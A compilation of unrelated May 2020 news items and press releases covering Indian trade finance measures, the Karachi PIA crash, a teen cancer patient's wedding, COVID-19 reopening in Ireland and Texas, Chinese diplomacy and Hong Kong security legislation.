It has been decided to extend a line of credit of Rs 15,000 crore to the Export-Import Bank of India (EXIM Bank) for a period of 90 days from the date of availment with rollover up to a maximum period of one year so as to enable it to avail a dollar swap facility to meet its foreign exchange requirements.

The EXIM Bank provides financial assistance to exporters and importers with a view to promoting the country's international trade. In view of the COVID-19 pandemic, however, global trade contracted sharply and global financial markets have turned highly volatile and risk averse, especially to emerging market economies (EMEs).

As Exim Bank predominantly relies on foreign currency resources raised from international financial markets for its operations, it is facing challenges to raise funds in international debt capital markets.

RBI also announced its decision to extend the time period for completion of remittances against normal imports into India (except in cases where amounts are withheld towards guarantee of performance) to 12 months (from six months) from the date of shipment for such imports made on or before July 31.

"The measure will provide greater flexibility to importers in managing their operating cycles in a COVID-19 environment," the statement said.

At present, remittances for normal imports (excluding import of gold/diamonds and precious stones/jewellery) into India are required to be completed within a period of six months from the date of shipment by the overseas supplier, except in cases where amounts are withheld towards guarantee of performance.

RBI said COVID-19 related disruptions to cross-border trade has resulted in a slowdown in manufacturing/sale of finished products and delay in realisation of sale proceeds, both domestically and overseas.

This has elongated the operating cycle for business entities. In this situation, units find it difficult to pay for their imports within the time stipulated under the Foreign Exchange Management Act (FEMA).
Eighteen-year-old Chase Smith was recently given three to five months to live. He was diagnosed with Ewing sarcoma when he was 12 years old and has relapsed several times. In 2019, a tumor was discovered around the teen's left bronchial tube, and in March this year, his condition worsened.

Tumors were discovered on Chase's lung, shoulder and brain, and he felt like the devastating prognosis he received was a "wake-up call" from God, his dad, Brad Smith, told CBS News via email.

Chase and his girlfriend, Sadie Mills, had planned to get engaged and married after college, but with only a short amount of time left, the high school seniors decided to tie the knot in late April. "Chase has said  it wasn't the diagnosis that sparked the wedding; it was the desire to make the most out of the relationships he has each and every day," Smith said.

The Indiana teens are on competing swim teens. They started dating in December after meeting at a swim meet between Indian Creek High School and Mooresville High School.

screen-shot-2020-05-22-at-11-26-08-am.png

Chase and Sadie's families helped them plan a wedding in just four days. Kaitlin Smith

Although they're young, both of their families were extremely excited and happy for their nuptials, Chase's dad said. So, their families helped them plan a wedding in just four days.

"It truly was a family endeavor  the immediate family on both sides chipped in to do their part, but it was the oldest sisters ... that took charge in organizing everything to make the day perfect," Smith said.

Video from the ceremony taken by Chase's sister, Kaitlin, shows the 18-year-olds walk down the aisle  on the front lawn  and get married in front of their immediate family members.

Following the ceremony, the families held a reception  and even though it was planned quickly, all the traditional elements of a wedding were included. Sadie wore a white dress and had bridesmaids, Chase had groomsmen, they cut a wedding cake, had their first dance, and partied with family and friends.

Story continues

Chase and Sadie were already planning on getting married after college. So, the high school seniors decided to tie the knot when they could. Kaitlin Smith

"We have seen how Sadie completes Chase," Smith said. "During his toast at the reception, Sadie's dad, Jeff Mills, said that Sadie has never been happier and he was more than elated to welcome Chase into the family."

screen-shot-2020-05-22-at-11-26-47-am.png

When asked how she feels since tying the knot, Sadie's answer was simple, Smith said. "It feels genuine  this is how God wanted us to be together," she said.

Chase hopes people take away a simple but important message from their story.

"The precious people in your life, the amount of time they are in your life, take every moment you have," he said. "Enjoy and give everything you can in those relationships and know there is so much possible with love when your love includes God."

Chase is currently receiving palliative radiation treatments and will soon start a targeted chemotherapy, his dad said. He is also getting monthly infusions to help with bone density and they are pursuing repurposed drugs to slow or stop the cancer.

While Chase has been busy with treatment, he still gets to see his new bride often. Sadie is now living with the Smith family.

"We have converted Chase's teenage bedroom into a 'couple's retreat' and taken the adjacent room and made it a living area for them  so they do get to spend every moment together while enduring this part of the journey," Smith said.

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The high school sweethearts-turned-newlyweds may be young, but their love is strong.

"They both want people to realize that the story is real," Smith said. "They are truly in love with each other with God as their guide. I personally have witnessed them pray together and seek God's wisdom."

"The precious people in your life, the amount of time they are in your life, take every moment you have," Chase said. "Enjoy and give everything you can in those relationships and know there is so much possible with love when your love includes God." Kaitlin Smith

Investigators to examine safety issues that may have worsened Michigan flooding

Trump says U.S. wouldn't close over second wave of coronavirus

Deadly passenger plane crash in Karachi, Pakistan
The last words of the pilot flying the Airbus 320 of the Pakistan International Airlines (PIA) that crashed on Friday near the Jinnah international airport in Karachi were 'my plane has a fault'. Replying to the pilot, the air traffic control said, "Just turn the plane and try to land." The PIA aircraft carrying 90 passengers and 8 crew members crashed at Karachi's Model Colony one minute before landing.

The flight was en route from Lahore to Karachi and crashed when at 800 feet near the runway. According to the initial report, there was a failure of the landing gear when the aircraft was near the runway. An emergency has been imposed in Karachi. Around 4-5 houses and 6-7 cars have been destroyed and a fire has engulfed five houses.

Pakistan news organisation Dawn quoted PIA spokesperson Abdul Sattar who confirmed the crash and added that Flight 8303 was carrying 90 passengers and 8 crew members from Lahore to Karachi.

Videos showed plumes of smoke rising from the site of the crash, said Dawn. Ambulances and rescue officials arrived at the scene to help residents, added Dawn.

Taking to micro-blogging site Twitter, the Inter-Services Public Relations (ISPR) said that Army Quick Reaction Force and Sindh Pakistan Rangers reached the site for relief and rescue efforts alongside civil administration.

It also tweeted that Pakistan Army Aviation helicopters were flown for damage assessment and rescue efforts. The Urban Search and Rescue Teams are also being sent on-site for rescue efforts.

Pakistan Chief of Army Staff (COAS) General Qamar Javed Bajwa condoled the loss of lives in PIA plane crash, tweeted the ISPR. "COAS condoles loss of precious lives in tragic PIA plane crash. Shares grief of bereaved families in this difficult time. COAS directed provision of full assistance to civil administration in rescue/ relief effort," it also tweeted.

The Minister of Health and Population Welfare has declared an emergency in all major hospitals of Karachi due to the plane crash, reported Dawn quoting Meeran Yousuf, the media coordinator to the Sindh health minister.

In 2019, a PIA aircraft escaped accident after it skidded off the runway while landing at Gilgit airport, said Dawn. The passengers remained safe in the accident, but the plane suffered considerable damage, it added.

In 2016, a PIA flight PK-661 carrying 48 passengers and crew had crashed on the way to Islamabad from Chitral on December 7 and there were no survivors from the flight, said Dawn.
By IANS

LUCKNOW: Over 600 Tablighi Jamaat members, including 157 from Lucknow, who have completed their quarantine period, were released after screening in Uttar Pradesh, a health official said on Friday.

Additional Chief Secretary Home, Avanish Awasthi, said that the remaining Jamaatis would be released after completion of their quarantine period. He said that those Jamaatis who had been taken into custody for violation of travel norms and other issues, would be released only after they get bail.

On Thursday, in Meerut, 296 Jamaatis were released from different quarantine centres after spending more than 50 days there.

Samajwadi MLA Rafiq Ansari claimed that the Jamaatis had been made to overstay at the quarantine centers.

Chief Medical Officer, Raj Kumar explained that the quarantine period could go up to 28 days and these people had to stay longer because the district administration was waiting for guidelines about their release. Contact tracing had also taken more time.

The Tablighi Jamaat meeting in Delhi in mid-March that was attended by over 25,000 members is believed to have led to a spurt in coronavirus cases across the country.
Source: Xinhua| 2020-05-22 19:39:52|Editor: huaxia

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Cambodian Deputy Prime Minister and Defense Minister Gen. Tea Banh (C) and Chinese Ambassador to Cambodia Wang Wentian (3rd L) attend an awarding ceremony in Phnom Penh, Cambodia on May 22, 2020. Cambodia on Friday awarded the government's honorable medal decorations to four Chinese military doctors after they had successfully completed their two-month mission in helping the kingdom fight COVID-19. (Photo by Sovannara/Xinhua)

PHNOM PENH, May 22 (Xinhua) -- Cambodia on Friday awarded the government's honorable medal decorations to four Chinese military doctors after they had successfully completed their two-month mission in helping the kingdom fight COVID-19.

Cambodian Deputy Prime Minister and Defense Minister Gen. Tea Banh presented the "Knight Class" medals to them at a ceremony here, which was also attended by Chinese Ambassador to Cambodia Wang Wentian.

"The honorable medals were conferred in recognition of their contributions to help prevent the COVID-19 spread in Cambodia and strengthen Cambodian medical staff's abilities in the fight against the virus," Banh said.

He expressed his profound gratitude to the Chinese People's Liberation Army (PLA) for sending military medical experts, along with medical supplies and equipment, to Cambodia to help combat the highly contagious disease.

"In the past two months, the PLA's medical team has done their best in helping Cambodia stem the COVID-19 pandemic," he said. "They have brought both experience and methods in the fight against the COVID-19 to Cambodian doctors."

During the COVID-19 pandemic, a few milestones deserved to be inscribed in the Cambodia-China history, Banh said, adding that those included the special visit of Cambodian Prime Minister Samdech Techo Hun Sen to Beijing on Feb. 5, the Cambodia-China military exercise in March, and the sending of Chinese medical team to aid Cambodia's fight against the virus.

"These activities truly show unity, solidarity, and close cooperation between Cambodia and China in the fight against the COVID-19," he said. "China's medical assistance has given Cambodia more confidence and warmth in the fight against the virus."

Meanwhile, Wang said mutual help during the pandemic has raised China-Cambodia relations to a new height, and he believes that through joint efforts, Cambodia will be able to prevent and contain the virus effectively.

He said China really appreciated Cambodia's total objection to politicizing and stigmatizing COVID-19, and also praised the kingdom for its firm support for the World Health Organization's indispensable role in combating the pandemic. Enditem
Smarten Spaces, a leading PropTech startup headquartered in Singapore, today announced the global launch of Jumpree WorkSafe. Jumpree WorkSafe was developed in response to the urgent demand and need for workplace readiness the global COVID-19 situation, to ensure employee safety and optimise seat management.

With the solution, businesses will be able to implement a simple 10-Step Response Plan to adapt to the new normal. With its short deployment time, the contactless solution will allow businesses to re-open safely, ensure business continuity and strengthen workplace compliance. Currently, Jumpree WorkSafe is being deployed across over 30 buildings in India, UK, China, US, Australia and Singapore, for both enterprises and commercial real estate.

Jumpree WorkSafe

10-Step Response Plan to adapt to the new normal  by Smarten Spaces

Through a single contactless app, Jumpree WorkSafe will ensure every employee, tenant or visitor is pre-screened for travel and health, tracking every entry and exit along with temperature readings. Other features include encouraging and maintaining social distancing measures at dining areas, monitoring and managing the provision of critical supplies and increasing the availability of resources and improving communication with employees both working remotely and in the workplace.

Dinesh Malkani, CEO of Smarten Spaces, shared, The top priority for businesses is to bring their employees back to work safely and manage their spaces effectively. Apart from safety elements, employees can book sanitised workstations and have visibility on when meeting rooms have been cleaned. At the same time, workforce distribution, seat and space allocation need to come together while factoring in all the new laws around social distancing. Jumpree WorkSafe and our 10-Step Response Plan helps workplaces ensure all the required precautions are in place. This makes us one of the worlds first end-to-end AI platform to disrupt a $19.9 billion smart space industry. We are delighted with the traction we are getting and the solution can now be deployed globally via our partner network.

Story continues

Phoenix Group, a prominent real estate company recently adopted Jumpree WorkSafe at one of their campuses. Joe King, Group CEO of Phoenix, said, As we notice contactless processes and safe distancing measures becoming the new normal due to the COVID-19 pandemic, we are confident that the features of Jumpree WorkSafe will bring enormous ease and efficiency.

Smarten Spaces in November last year, announced the close of a $12M Series A investment round. The new investment was made by leading Asia investor Symphony International Holdings Limited (Symphony).

The Smarten Spaces platform is quite unique in the industry as it looks to fill the gap with a one-stop solution for space owners and managers to digitize and manage their space. The company believes that the goal of smart building technology is not necessarily to add sophistication but to identify and systematically eliminate the inefficiencies within the experience and workflows currently in place.

Since its launch back in 2017, Smarten Spaces has developed one of the worlds first end-to-end AI platform to disrupt a $19.9 billion smart space industry with current focus on enterprise offices, real estate developers, coworking, co-living and other spaces of work and leisure. The platform enables space owners to offer next-generation spaces that will improve productivity, reduce operational costs and offer conveniences to the end-users.

Anil Thadani, Chairman, Symphony International Holdings Limited said This is our first investment in a SaaS company and we are looking forward to working with Dinesh and his team to grow the business, especially in the Real Estate and Hospitality industries where we have deep connections and significant investment experience.

Dinesh Malkani, Founder & CEO, commenting on this important milestone in Smarten Spaces journey said, We are delighted to have Symphony for our Series A investment. Their long-term view and portfolio of investments in real estate and consumer brands provide many synergistic opportunities as we expand Smarten Spaces across the Asia Pacific and North America within the rapidly growing Proptech industry. Malkani added, Our platform today provides the capability to provide intuitive user experience and optimize spaces. This lets us build the improved value of built spaces and long-term business relationships.

The whole of transaction process provided by Smarten Spaces property tech platform, points to the signs of the times where property agents must upgrade to keep up or die, said Mr Paul Ho, chief mortgage officer of iCompareLoan.

He noted that many property agencies struggle to keep up with all the regulatory changes in the industry, as well as the changing financial calculations for acquiring a property. He urged property agents to master the basics in property financing, refinancing, taxation and CPF.

Mr Ho said that iCompareLoan.com runs a full 2  3 days course on how property agents can produce such reports for their customers. He added that the trademarked course teaches Property Agents how to generate complicated Financial calculations using  Home Loan Report (TM)  in 3 mins flat. This helps Property agents to close deals faster and serve customers more professionally.

The Home Loan Report tool is a Singapores first one-of-a-kind analysis platform that provides latest updates of detailed loan packages and helps property agents, financial advisors and mortgage brokers to analyse home loan packages for their clients and give unbiased home loan / commercial loan analysis for their property buyers and home owners.

As buyers of the future grow more discerning, agents cannot afford to just rely on their personality or their experience to attract clients. Buyers and sellers of the future will increasingly rely on agents to have knowledge on property finance calculations and this is where the Home Loan report comes in.

The post Jumpree WorkSafe launched to prepare for Covid-19 workplace readiness appeared first on iCompareLoan Resources.
We are gradually reopening in Texas. It's a thoughtful, and so far effective, alternative to staying locked indoors.

We can do both. We can go back to work with some restrictions and protect ourselves from a contagious virus. We can do it, and it's time to do it.

According to Scott Rasmussen, the country wants to open:

Sixty percent of voters nationwide believe that all businesses  ALL businesses  should be allowed to re-open if they adopt appropriate social distancing protocols. Only 26 percent disagree. The reality, of course, is that means everyday Americans will decide what sort of social distancing is appropriate.

They  not government officials  will make decisions about which businesses are safe enough to visit and which are not.

I understand how that 61% feels. I am not a pollster, but these numbers confirm what I am hearing.

Over the last two weeks, I've seen more cars on our highways. Some restaurants are open, and people are eating. Other places are still doing a lot of ordering business. We are debating whether or not to return to school, and I hope they do. We are doing more and more but maintaining a sensible respect for others, such as wearing a mask or keeping a safe distance at the local convenience store.

This lockdown must end, as David Marcus wrote. He wants New York City looking like New York City again, not a ghost town suitable for that show about the world "after people."

Memo to some governors: The people are still here, and we are perfectly capable of protecting ourselves. So open up and let us live and produce.

PS: You can listen to my show (Canto Talk) and follow me on Twitter.
Scientists in China claim new drug can stop pandemic without vaccine

WORLD: A Chinese laboratory has been developing a drug it believes has the power to bring the coronavirus pandemic to a halt.

ChineseCoronavirusCOVID-19drugshealth

By AFP

Tuesday 19 May 2020, 05:45PM

The new drug is being tested by scientists at Chinas Peking University. Photo: AFP

The outbreak first emerged in China late last year before spreading across the world, prompting an international race to find treatments and vaccines.

A drug being tested by scientists at Chinas prestigious Peking University could not only shorten the recovery time for those infected, but even offer short-term immunity from the virus, researchers say.

Sunney Xie, director of the universitys Beijing Advanced Innovation Center for Genomics, told AFP that the drug has been successful at the animal testing stage.

When we injected neutralising antibodies into infected mice, after five days the viral load was reduced by a factor of 2,500, said Xie.

That means this potential drug has (a) therapeutic effect.

The drug uses neutralising antibodies  produced by the human immune system to prevent the virus infecting cells  which Xies team isolated from the blood of 60 recovered patients.

A study on the teams research, published Sunday (May 17) in the scientific journal Cell, suggests that using the antibodies provides a potential cure for the disease and shortens recovery time.

Xie said his team had been working day and night searching for the antibody.

Our expertise is single-cell genomics rather than immunology or virology. When we realised that the single-cell genomic approach can effectively find the neutralising antibody we were thrilled.

He added that the drug should be ready for use later this year and in time for any potential winter outbreak of the virus, which has infected 4.8 million people around the world and killed more than 315,000.

Planning for the clinical trial is underway, said Xie, adding it will be carried out in Australia and other countries since cases have dwindled in China, offering fewer human guinea pigs for testing.

The hope is these neutralised antibodies can become a specialised drug that would stop the pandemic, he said.

China already has five potential coronavirus vaccines at the human trial stage, a health official said last week.

But the World Health Organization has warned that developing a vaccine could take 12 to 18 months.

Scientists have also pointed to the potential benefits of plasma  a blood fluid  from recovered individuals who have developed antibodies to the virus enabling the bodys defences to attack it.

More than 700 patients have received plasma therapy in China, a process which authorities said showed very good therapeutic effects.

However, it (plasma) is limited in supply, Xie said, noting that the 14 neutralising antibodies used in their drug could be put into mass production quickly.

Prevention and cure

Using antibodies in drug treatments is not a new approach, and it has been successful in treating several other viruses such as HIV, Ebola and Middle East Respiratory Syndrome (MERS).

Xie said his researchers had an early start since the outbreak started in China before spreading to other countries.

Ebola drug Remdesivir was considered a hopeful early treatment for COVID-19  clinical trials in the US showed it shortened the recovery time in some patients by a third  but the difference in mortality rate was not significant.

The new drug could even offer short-term protection against the virus.

The study showed that if the neutralising antibody was injected before the mice were infected with the virus, the mice stayed free of infection and no virus was detected.

This may offer temporary protection for medical workers for a few weeks, which Xie said they are hoping to extend to a few months.

More than 100 vaccines for COVID-19 are in the works globally, but as the process of vaccine development is more demanding, Xie is hoping that the new drug could be a faster and more efficient way to stop the global march of the coronavirus.

We would be able to stop the pandemic with an effective drug, even without a vaccine, he said.
22 May 2020

Type Media Article



The months of May, June, July and August coincide with peak harvesting and transporting of silage on Irish farms. There is extra machinery on our roads and farms so extra caution is needed by all parties.



Each year on Irish farms, several thousand accidents occur with many of these accidents being fatal. There are many causes of accidents but each year accidents caused by machinery tend to contribute a high proportion of these accidents. Traditionally the months of May, June, July and August tend to coincide with the peak harvesting and transporting of silage on Irish farms. These results in extra machinery in operation on our roads and farms so extra caution is needed by all parties.

In this short video produced by Brendan Garry, Teagasc Ballinrobe, a timely safety at silage appeal is issued to all road users including pedestrians, contractors, farmers, motorists to watch out for this extra machinery on our roads over the next number of months especially now with the silage season well underway in many areas.

Furthermore children by their nature will want to visit the farm and farmyards when extra machinery is in operation but an appeal is being made to parents to keep their children away from farmyards if possible during this extra busy time and if they have to visit, to please ensure that they are supervised and watched vigilantly during this busy period.

With regards to safety, we all have a role to play in reducing farm accidents so everyone is encouraged to pick up a copy of the Risk Assessment Document which is the standard document to be filled out for farms with three or less employees and this could help highlight other risks on your farm and this could in turn help to prevent an accident occurring on your farm. These documents can be accessed by contacting your local Teagasc Office. If you require more information, this can be got through the Teagasc website www.teagasc.ie where other recent safety videos and safety guidelines have been published in recent weeks. This document can also be filled out online at www.farmsafely.com.
I was only in the chair five minutes and already I was spilling about the drinks I had arranged for that night.

My stylist was blow-drying my hair for the big date and within another five minutes she knew where I was meeting him, how we first met, what I was wearing and whether I'd kiss on a first date.

Expand Close Catastrophic: Noelle McCarthy in her salon Blow on Leeson Street in Dublin, one of four salons she runs. PHOTO: MARK CONDREN / Facebook

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Whatsapp Catastrophic: Noelle McCarthy in her salon Blow on Leeson Street in Dublin, one of four salons she runs. PHOTO: MARK CONDREN

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I know her kids' names, where they go to school, her sister's Nike Air Max obsession and her annual holiday plans.

She knows my tattoos, my family business and my work schedule.

This is a woman I've never met outside the salon, but who I have built up a relationship with every six weeks over seven years as she has coloured, stripped, masked and chopped my hair into various styles and shapes while listening to my stories and keeping my secrets.

I sit with my legs propped up on the recliner that massages my back while my treatment soaks into my lengths and ends at the basin.

One of the girls pops a gel eye mask onto my face and offers me a hand massage.

When I'm fully relaxed, it's back to the station where I read 'Vanity Fair', sip on a glass of wine and snack on chocolate treats.

This is the reason I pay north of 200 every six weeks to attend the hair salon.

But come July 20, when Irish salons open their doors for the first time since March, in phase 4 of the Government's reopening Ireland plan, there will be no hand massages or glossy magazines.

I won't be offered tea, coffee, wine or Champagne. I probably won't even be allowed to check my coat into the cloakroom.

Instead, my hair stylist, whose face I long to see more than some of my own family members at this stage, will greet me wearing a protective mask, a visor and gloves, as I do the same.

She'll wipe down the chair and mirror before I sit down, and it's highly likely I'll be between two Perspex screens, two metres away from anyone else in the salon - if there is anyone else. For this is the new normal hair salons around the world are facing as they get to grips with working in the age of Covid-19.

In Germany, salons must practise social distancing of 1.5 metres, and no walk-ins are allowed. Hairdressers are required to wear face masks and disposable aprons.

Customers wishing to avail of a root touch-up in France must bring their own mask and will be seen by appointment only. There are similar restrictions in Spain, where salons are only allowed to run at 30pc capacity to ensure adequate social distancing.

Amanda Dennison, owner of Head Office in Ballyfermot in Dublin, where she has been for 30 years, is not sure how her business will cope with similar restrictions.

"I don't know how we're going to work it because a lot of our clients are elderly and might only come out once a week," she told the Irish Independent.

"Elderly people come at the same time to meet each other and they'll have tea and coffee and a chat. The salon experience has absolutely changed for them."

Ms Dennison has invested in Perspex screens between nine units in the salon. "I sourced the screens myself and my brother-in-law fitted them. I've spoken to hairdressers who were quoted 400 per unit."

Ms Dennison has also purchased gloves and masks for her four staff members and plans to operate with extended opening hours. All of this extra cost to her will be reflected in customers' bills.

"We have no choice. It's a complete knock-on effect because there is still insurance to be paid."

Samantha Byrne, who runs the 1,000sq ft Vanilla Hair Design in Tullow, Co Carlow, and a smaller salon in the Mount Wolseley Hotel, has put an order in for hygiene screens and PPE, but has paused it until more guidelines are issued by the Government.

"I ordered Perspex hanging from the ceiling that would come to the side of the chair.

"Clients like to speak to each other and caving them in is a bit much," says Ms Byrne, the current Irish Hairdresser of the Year.

"Our hair dryers come from electrical plugs at the side. Your Perspex is going to be designed on the basis of your salon, everyone can't be the same.

"That's why I'm expecting the guidelines to be vague. I had 100pc cotton masks made because if we're coming back on July 20, it will probably be very warm. The more PPE we have on us, the more restricted we are. Even trying to do a hair cut with a pair of gloves is very difficult."

Like Ms Dennison, Ms Byrne acknowledges the cost of PPE and screens will be felt by the customers.

"There will be a rise in prices because we will have to have some type of PPE, but how much we have will depend on how much the price will rise."

Owner of seven Brown Sugar salons, and committee member of the Irish Hairdressers Federation, Mark O'Keeffe, has a more optimistic outlook.

"Hair salons have always been incredibly safe environments because hygiene is a priority in our workplace," he said. "We don't think it needs to be this mass hysteria with loads of Perspex."

Mr O'Keeffe mentioned the Perspex prototype as seen on 'Claire Byrne Live' this week.

"That was really over the top, a caged-in section? Hand hygiene is the most important message that's coming from the HSE, and after that, if you're in a close environment, masks.

"Everything is by appointment, we'll be ringing people to let them know when it's safe to come into the salon because we want to make sure that the one o'clock appointments are gone before you bring in a two o'clock appointment. The key to this is common sense."

Mr O'Keeffe, along with the Irish Hairdressers Federation, is firmly of the opinion that hair salons should be reopening sooner than phase 4.

"Hairdressing salons and the beauty industry as a whole could very comfortably open in phase 2, but could 100pc open in phase 3."

Mr O'Keeffe acknowledged he will be reopening "at best 50pc-60pc turnover to what we were doing in the past", and is calling on landlords to work with small businesses to reduce rents.

Noelle McCarthy, owner of Blow in Dublin, has said the closures have been "catastrophic" for her four salons and 65 staff members. She's calling on the Government to issue clear guidelines.

"Realistic guidelines that enable us to make a living while keeping people safe is really important," she says.

"Sticking the head in the sand and saying it's safe for us to open in phase 4 is nonsense, because the black market is rife. It's very hard from a financial point of view because the Government can't give what it doesn't have, so we understand we have to pay VAT and we have to pay rates, but if it puts us out of business that doesn't work either.

"I'm certainly looking for reductions from my landlords. I've no revenue. It's unfortunate, but everyone is in the same situation."
While many countries hunker down and focus on domestic coronavirus problems, China is looking outward. Now that it seems to have stemmed the most rampant transmission and has begun reopening cities and factories, it is advertising its approach to the virus: intensive testing and tracing, as well as strict isolation measures. It brags (via state media and diplomats) about its low daily case numbers  many from people coming into the country  while the United States reports some 25,000 new infections daily and has more than 93,000 dead. Beijing is offering concessionary loans to countries like Sri Lanka with battered economies. It is handing out aid and sending masks and medical experts, both to wealthy democracies (like Spain and Italy) and neighbors (like the Philippines and Malaysia), sometimes along the same transport routes that Beijing was already building to connect the globe. Chinas leaders have branded these routes as the Health Silk Road, linking them to its massive global Belt and Road Initiative, the centerpiece of Chinese foreign policy today.
The US State Department accused China on Thursday of turning its back on commitments to keep Hong Kong semi-autonomous, after Beijing announced it was proposing national security legislation that would effectively limit opposition activity there.

"We urge Beijing to honour its commitments and obligations in the Sino-British Joint Declaration," said State Department spokeswoman Morgan Ortagus in a statement, referring to the bilateral treaty signed in 1984 that guarantees a "high degree of autonomy" for Hong Kong until at least 2047.

The legislation, which would effectively bypass Hong Kong's own legislative process, is expected to ban all seditious activities in the semi-autonomous city, the South China Morning Post earlier reported. The proposal on the legislation will be formally introduced in the National People's Congress (NPC) on Friday, the first day of the legislature's annual session.

NPC spokesman Zhang Yesui confirmed at a Beijing news conference earlier on Thursday that the legislature would be considering a resolution regarding a decision on "establishing a sound legal system and enforcement mechanism for safeguarding national security in the Hong Kong Special Administrative Region".

Beijing's recent statements, said Ortagus, "undermine the [People's Republic of China's] commitments and obligations in the Sino-British Joint Declaration".

The proposal's likely passage " votes in the legislature rarely stray from the Communist Party line " would pave the way for the national security legislation itself to be voted upon as early as next month, when the NPC's standing committee is expected to convene.

"Any effort to impose national security legislation that does not reflect the will of the people of Hong Kong would be highly destabilising, and would be met with strong condemnation from the United States and the international community," said Ortagus.

Story continues

The State Department remarks came soon after US President Donald Trump promised a strong response from his administration if China followed through on the proposal.

"If it happens we'll address that issue very strongly," Trump told reporters while departing the White House for Michigan, though he prefaced his remarks by saying that he did not know about the substance of the proposal. "I don't know what it is, because nobody knows yet."

Outrage at Beijing's proposal was palpable on Capitol Hill, where lawmakers of both parties last year rallied almost unanimously to swiftly pass legislation increasing US scrutiny concerning affairs in Hong Kong.

Signed into law in November, the Hong Kong Human Rights and Democracy Act requires that the US State Department determine within six months of its enactment whether the city maintains a sufficient degree of autonomy to justify continued special trade status by Washington.

Ortagus did not address whether the proposed legislation, if ultimately passed, would mean that Hong Kong no longer enjoyed sufficient autonomy to justify treatment different from any other Chinese city.

But the development is all but certain to be addressed in the State Department's coming determination, given Secretary of State Mike Pompeo's announcement earlier this month that the report was being postponed to allow consideration of any Hong Kong-related policy initiatives announced during the NPC session, which had been delayed due to the coronavirus pandemic.

Representative Jim McGovern, chair of the Congressional-Executive Commission on China, urged the Trump administration to respond using authorities provided by the Hong Kong Human Rights and Democracy Act, and said that the US should "lead a global coalition to support the people of [Hong Kong]".

Beijing's move to bypass Hong Kong's legislative council struck "at the heart" of the "one country, two systems" framework, McGovern, Democrat of Massachusetts, said on Twitter.

And House Speaker Nancy Pelosi, Democrat of California, said on Twitter that Beijing's announcement was "deeply alarming", while its attempts to bypass Hong Kong's legislature showed "complete disrespect for the rule of law."

Beijing's announcement of yet another attempt to bring an end to the "one country, two systems" framework in #HongKong is deeply alarming. Attempting to circumvent the HK legislature shows a complete disrespect for the rule of law.

" Nancy Pelosi (@SpeakerPelosi) May 21, 2020

Other lawmakers went further, rapidly introducing resolutions condemning the proposal, as well as bills calling for sanctions against Chinese officials " despite the fact that the US administration already has authority to sanction foreign individuals deemed responsible for the erosion of autonomy in Hong Kong.

One resolution, introduced by Senator Josh Hawley, Republican of Missouri, and already backed by nine other senators, would make it Congress' official position that the measure was in violation of the Joint Declaration, and would call on the Trump administration to use all diplomatic means available, including sanctions, to dissuade Beijing from pursuing it.

In Europe, meanwhile, current and former political figures joined in the global chorus of concern about the legislation's ramifications for Hong Kong's future, particularly its international standing.

EU is following very closely developments related to #HongKong. We attach great importance to 'One country Two Systems' principle. Democratic debate in Hong Kong and respect for rights & freedoms are the best way to preserve it in context of poss. national security legislation

" Virginie Battu-Henriksson (@VibattuEUspox) May 21, 2020

Virginie Battu-Henriksson, foreign affairs spokeswoman for the European Union, tweeted that the bloc attached "great importance" to the one country, two systems model, and said that "democratic debate in Hong Kong and respect for rights & freedoms are the best way to preserve it".

Chris Patten, Britain's last governor of the former colony, called Beijing's proposal a "comprehensive assault" on Hong Kong's autonomy, rule of law and fundamental freedoms.

"At best, the integrity of 'one country, two systems' hangs by a thread," Patten, now chancellor of the University of Oxford, said through a spokesman. "Unless the Chinese Communist regime sees sense, this will be hugely damaging to Hong Kong's international reputation and to the prosperity of a great city."

Hong Kong's last British governor, Chris Patten, shown in October, called the proposal a "comprehensive assault" on Hong Kong's autonomy. Photo: Now TV alt=Hong Kong's last British governor, Chris Patten, shown in October, called the proposal a "comprehensive assault" on Hong Kong's autonomy. Photo: Now TV

A spokesperson for Britain's Foreign and Commonwealth Office said it was "monitoring the situation closely," and expected China to "respect Hong Kong's rights and freedoms and high degree of autonomy."

"As a party to the Joint Declaration, the UK is committed to upholding Hong Kong's autonomy," the spokesperson said.

Tom Tugendhat, chair of the British Parliament's foreign affairs committee, cast doubt on Beijing's intention to stick to the Sino-British Joint Declaration.

"Unilateral changes could undermine Hong Kong's autonomy and bring into question the rule of law that has underpinned the territory's prosperity," Tugendhat, who also heads the Conservative-led China Research Group, said.

"Britain, the US and others who are supporting the rules-based system that has allowed countries " including China " to prosper in relative peace over recent decades need to remind Beijing the world is watching."

This article originally appeared in the South China Morning Post (SCMP), the most authoritative voice reporting on China and Asia for more than a century. For more SCMP stories, please explore the SCMP app or visit the SCMP's Facebook and Twitter pages. Copyright  2020 South China Morning Post Publishers Ltd. All rights reserved.

Copyright (c) 2020. South China Morning Post Publishers Ltd. All rights reserved.
[May 22, 2020] OCO Global Announces Expansion in China With New Office in Shanghai and Partnership Agreement

OCO Global, a leading specialist trade and investment advisory firm has today announced the opening of its new office in Shanghai, China, and a new partnership with the market entry specialist Aventura. This expansion of OCO Global's China operations will enable the company to support international economies to attract cross-border investment from China and to build out relationships with the Chinese government and companies. Chinese foreign direct investment has been growing by about 25% p.a. over the last 10 years. As Chinese industry continues to internationalize, it will remain a key source market for foreign investment. OCOs increased presence in China will also enable international companies to grow their business in the Chinese market. "We are very excited to open our new office in Shanghai and establish a new partnership with Aventura, growing our operations in China to support our clients across the region" said Mark O'Connell, OCO Global CEO. "Our investment plans were put on temporary hold during the current crisis, but we are fully convinced of the long-term prospects of China as both a source and as a destination of FDI, and the opportunities it presents for international trade. Our commitment to this expansion and our great local team demonstrates the region's importance." said Mark. "As China emerges from its COVID-19 crisis, there is a commitment for continued integration with the global economy and increased market access for international firms. Furthermore, the Governments next five-year plan, 2021-25, encourages Chinese companies to iternationalize and pursue global expansion. "



"This medium-term outlook will create confidence for foreign governments and investors to build lasting relationships with Chinese government and businesses. This is a great time for OCO to expand in China." commented Yi Zhang, OCO General Manager in China. To further enhance OCO's offer to the Chinese market, the company has also entered a strategic partnership with Aventura, a specialist market entry and expansion firm. Over the last 10 years, Aventura has successfully supported 200 companies to enter and grow their business in China. This partnership combines OCO's FDI & Trade expertise and international reach with Aventura's local Chinese market know-how and access.

